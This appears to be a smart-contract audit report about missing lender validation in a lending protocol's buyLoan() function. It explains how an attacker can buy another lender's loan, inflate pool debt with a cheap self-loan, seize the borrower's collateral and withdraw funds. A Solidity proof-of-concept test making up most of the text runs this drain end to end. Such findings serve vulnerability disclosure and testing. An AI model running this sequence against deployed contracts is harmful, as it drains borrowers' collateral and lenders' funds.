Borrowers can lose collateral and Lenders can lose loanTokens, due to missing validation in buyLoan().
Once a loan has been taken out against a Pool anyone can create a Pool to remove Collateral from the contract. This is initially due to a lack of validation in the buyLoan function.
BuyLoan() does not validate that msg.sender is the pool.lender allowing anyone to buy a loan from another valid Pool they don’t own, while still becoming the new loan lender.
The aim is to call seizeLoan to remove collateral but the outstanding loan balance needs to be higher than the debt
The malicious user can bypass this by carefully crafting Loan B in Pool C which requires minimal collateral to equal Loan A's debt. Loan B is borrowed instantly by the malicious user, increasing Pool C's outstanding loan balance to increase.
Now that Loan A can be seized, the malicious user can get Loan A’s collateral out of the protocol.
Loan B can now be forgotten as it cost very little collateral.
Collateral is drained from the contract resulting in a loss of users funds.
Loan cannot be repaid to the pool resulting in a loss of users funds.
function test_BuyLoan() public {
assertEq(collateralToken.balance(address(lender)), 0);
assertEq(collateralToken.balance(address(lender2)), COLLATERAL_BALANCE);
assertEq(collateralToken.balance(address(borrower)), COLLATERAL_BALANCE);
vm.startPrank(lender1);
Pool memory p1 = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: POOL_LOAN_TOKEN_BALANCE,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
Pool memory p2 = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 3 * POOL_LOAN_TOKEN_BALANCE,
maxLoanRatio: 10000000000 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1100,
outstandingLoans: 0
});
Pool memory p3 = Pool({
lender: lender3,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 3 * POOL_LOAN_TOKEN_BALANCE,
maxLoanRatio: 1 * 10 ** 18,
auctionLength: 2 days,
interestRate: 1100,
outstandingLoans: 0
});
bytes32 poolIdOne = lender.setPool(p1);
vm.startPrank(lender2);
bytes32 poolIdTwo = lender.setPool(p2);
vm.startPrank(lender3);
bytes32 poolIdThree = lender.setPool(p3);
bytes32[] memory poolIds = new bytes32[](3);
poolIds[0] = poolIdOne;
poolIds[1] = poolIdTwo;
poolIds[2] = poolIdThree;
uint256[] memory loansIds = new uint256[](1);
loansIds[0] = 0;
vm.startPrank(borrower);
Borrow memory b = Borrow({poolId: poolIdOne, debt: 1000 * 10 ** 18, collateral: 1000 * 10 ** 18});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
console.log("*** Loan from Pool 1 ***");
(address loandLender, address loanBorrower,,,,,,,,) = lender.loans(0);
stages(poolIdOne, poolIdTwo, poolIdThree, loandLender, loanBorrower, true, true);
vm.startPrank(lender1);
lender.startAuction(loansIds);
vm.warp(1 days);
vm.startPrank(lender2);
lender.buyLoan(loansIds[0], poolIds[2]);
console.log("*** Loan is Auctioned from Pool 1 to Pool 3 ***");
(loandLender, loanBorrower,,,,,,,,) = lender.loans(0);
stages(poolIdOne, poolIdTwo, poolIdThree, loandLender, loanBorrower, true, true);
vm.startPrank(lender2);
uint256 debt = lender.getLoanDebt(0);
Borrow memory b2 = Borrow({poolId: poolIdTwo, debt: debt, collateral: 1 * 10 ** 18});
borrows = new Borrow[](1);
borrows[0] = b2;
lender.borrow(borrows);
console.log("*** Loan from Pool 2 ***");
(loandLender, loanBorrower,,,,,,,,) = lender.loans(0);
stages(poolIdOne, poolIdTwo, poolIdThree, loandLender, loanBorrower, true, true);
console.log("Seize loan and remove liquidity");
lender.startAuction(loansIds);
vm.warp(2 days);
lender.seizeLoan(loansIds);
Pool memory p = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 0,
maxLoanRatio: 10000000000 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1100,
outstandingLoans: 0
});
lender.removeFromPool(poolIdTwo, debt);
lender.setPool(p);
stages(poolIdOne, poolIdTwo, poolIdThree, loandLender, loanBorrower, true, true);
assertEq(collateralToken.balance(address(lender)), 1 * 1e18);
assertGt(collateralToken.balance(address(lender2)), COLLATERAL_BALANCE);
assertLt(collateralToken.balance(address(borrower)), COLLATERAL_BALANCE);
}